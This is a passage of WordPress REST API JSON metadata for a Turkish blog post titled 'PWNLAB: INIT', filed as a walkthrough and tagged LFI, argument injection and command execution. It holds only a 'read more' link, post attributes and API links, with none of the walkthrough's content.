class=\"more-link\" href=\"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/06\/13\/pwnlab-init\/\">Devam\u0131n\u0131 oku<span class=\"screen-reader-text\">PWNLAB: INIT<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[514,515,194],"class_list":["post-1180","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-argument-injection","tag-command-execution","tag-lfi","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1180","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1180"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1180\/revisions"}],"predecessor-version":[{"id":1181,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1180\/revisions\/1181"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1180"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1180"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1180"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}